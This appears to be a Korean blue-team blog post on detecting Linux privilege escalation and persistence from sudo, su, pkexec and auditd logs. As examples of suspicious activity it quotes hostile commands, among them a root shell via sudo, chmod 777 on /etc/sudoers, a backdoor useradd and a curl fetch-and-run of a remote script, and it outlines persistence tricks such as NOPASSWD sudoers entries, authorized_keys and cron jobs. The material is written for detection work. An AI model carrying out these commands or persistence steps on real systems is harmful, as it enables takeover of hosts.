AnbyMata의 해킹 노트

[Blue Team] EP.9 - 권한 상승 분석 본문

Blue Team (SOC)/Linux Log Analysis

[Blue Team] EP.9 - 권한 상승 분석

AnbyMata 2026. 4. 24. 22:00

[9-1] 로그인 직후 권한 상승을 시도하는 이유

일반 사용자 권한의 제한

- 시스템 설정 불가 - 핵심 설정 파일을 수정해 백도어를 심는 보안 기능 무력화 행위 불가능

- 접근 제한 - 다른 사용자의 데이터나 민감한 시스템 파일 접근 불가능

- 서비스 제어 제한 - 새로운 악성 서비스 설치 및 기존 보안 서비스 중지 불가능

- 흔적 은폐 불가 - 시스템의 Audit Log(감사 로그)를 임의로 변경 및 삭제 불가능

 

root(관리자) 권한으로 가능한 것들

- 자유로운 파일 조작 - 시스템 내 모든 파일 조작 가능

- 커널 및 서비스 장악 - 커널 모듈을 로드하여 탐지가 힘든 루트킷 설치 및 서비스 조작 가능

- 계정 관리 - 새로운 관리자 계정 생성 및 sudoers 파일을 변경해 권한 고착화 가능

- 네트워크 제어 - 방화벽 설정을 조작해 외부와의 연결 통로 확보 및 네트워크 통신 감시

- 로그 삭제 - 모든 Audit Log(감사 로그) 삭제 및 조작을 통해 흔적 삭제

 

 

[9-2] sudo 로그 

[sudo 로그 구성 요소]

- 실행자 (anbymata): 명령을 입력한 사용자 계정

- 터미널 (TTY=pts/0): 원격 SSH 세션을 통해 접속 중

- 작업 경로 (PWD=/home/main/policy): 해당 명령이 실행된 현재 디렉토리 위치

- 목표 권한 (USER=root): 명령이 실행될 때 빌려온 대상 권한 (주로 root)

- 실행 명령 (COMMAND=/usr/bin/apt update): 실제로 수행된 최종 행위

 

정상 명령들

- `COMMAND=/usr/bin/apt update`

- `COMMAND=/usr/bin/systemctl restart nginx`

- `COMMAND=/usr/bin/tail -n 100 /var/log/nginx/error.log`

→ 정기적인 패치나 사전에 승인된 서비스 관리 작업

 

주의 명령들

- `COMMAND=/usr/sbin/useradd -m backupavc`

→ 미승인 관리자 계정 생성 시도

- `COMMAND=/bin/bash`

→ root 쉘 직접 획득 (가장 위험)

- `COMMAND=/bin/chmod 777 /etc/sudoers`

→ 권한 체계 무력화 및 고착화 시도

- `COMMAND=/bin/curl -faSL https://.../a.sh`

→ 외부에서 악성 스크립트를 다운로드하여 즉시 실행

 

 

[9-3] 다른 권한 전환 경로

`su` (Switch User) - 세션 전환의 기본

- 다른 사용자로 세션을 완전히 전환하는 방식

- 주로 `su -`를 통해 환경 변수까지 root로 전환

- 실행 시 대상 계정의 비밀번호 필요

- 로그는 주로 `/var/log/auth.log` 또는 `/var/log/secure`에 기록됨

- 성공 시 "session opened for user root"와 같은 메시지 남음

 

`pkexec` (PolicyKit) - GUI 취약점

- Desktop/GUI 환경에서 주로 사용되는 PolicyKit 기반의 권한 실행 도구

- 취약점 악용 시 일반적인 auth.log 에 기록되지 않을 수 있음

- auditd 나 EDR을 통한 보강이 필요

 

`auditd` 보강 - 커널 수준의 강력한 감시

- evecve 시스템 콜을 추적해 명령 실행 인자를 모두 기록

- 사용자의 실제 ID (auid)와 유효 ID (euid)의 변화를 실시간으로 기록해 로그 삭제 및 우회가 어려움

 

 

[9-4] Persistence(지속성 유지) 및 구조적 권한 고착화 전략

공격자가 root 쉘을 얻은 후, 언제든 재진입할 수 있도록 수행하는 전략

 

1. 새 계정 생성과 그룹 추가

 - 정상 계정처럼 위장한 새로운 관리자 계정을 몰래 생성

 - 대응 방법:

  + 계정 생성 직후 외부 IP에서 해당 계정으로의 로그인 성공(Accepted password)이 발생

  + `useradd` 로그 - 새로운 사용자가 생성된 시점과 승인 이력 대조

  + `usermod` 로그 - 생성된 계정이 즉시 sudowheel 같은 관리자 그룹에 추가되는지 감시

 

2. sudoers 변경과 `etc/sudoers.d` 조작

 - 비밀번호 없이 관리자 권한 사용을 위해 권한 체계를 구조적으로 변조

 - `NOPASSWD:ALL` 설정은 특정 계정이 비밀번호 없이 모든 명령을 root 권한으로 실행할 수 있게 함

 - 대응 방법:

  + visudo 실행 흔적이나 `/etc/sudoers.d/` 경로에 새 파일 생성 여부 확인

  + 파일 mtime(수정 시간)을 체크하여 미승인 시점에 변경되었는지 확인

 

3. SSH 키 기반 지속성: authorized_keys 추가

 - SSH 공개키가 남아있으면 계정의 비밀번호가 바뀌어도 다시 들어올 수 있음

 - auth.log 에는 "Accepted publickey"라는 성공 로그만 남아 정상 사용자와 구분이 힘듬

 - 대응 방법:

  + auditd watch 설정을 통해 `.ssh/authorized_keys`파일의 쓰기 행위를 실시간 감시

  + 침해 대응 시 root, deploy, devops 등 주요 계정의 키 파일을 점검

 

4. cron, systemd를 통한 주기적 지속성

 - 시스템이 재부팅되어도 주기적으로 살아나는 구조

 - cron - 외부 URL에서 악성 스크립트를 받아 쉘로 실행하는 명령을 등록

 - systemd - 정상 서비스로 위장한 유닛 파일을 생성하여 악성 파일을 자동 실행

 - 대응 방법:

  + 실행 대상 파일의 경로 ( /tmp, /dev/shm...)와 등록 주체 (root)를 함께 분석

 

 


[Blue Team] EP.9 - 권한 상승 분석. END.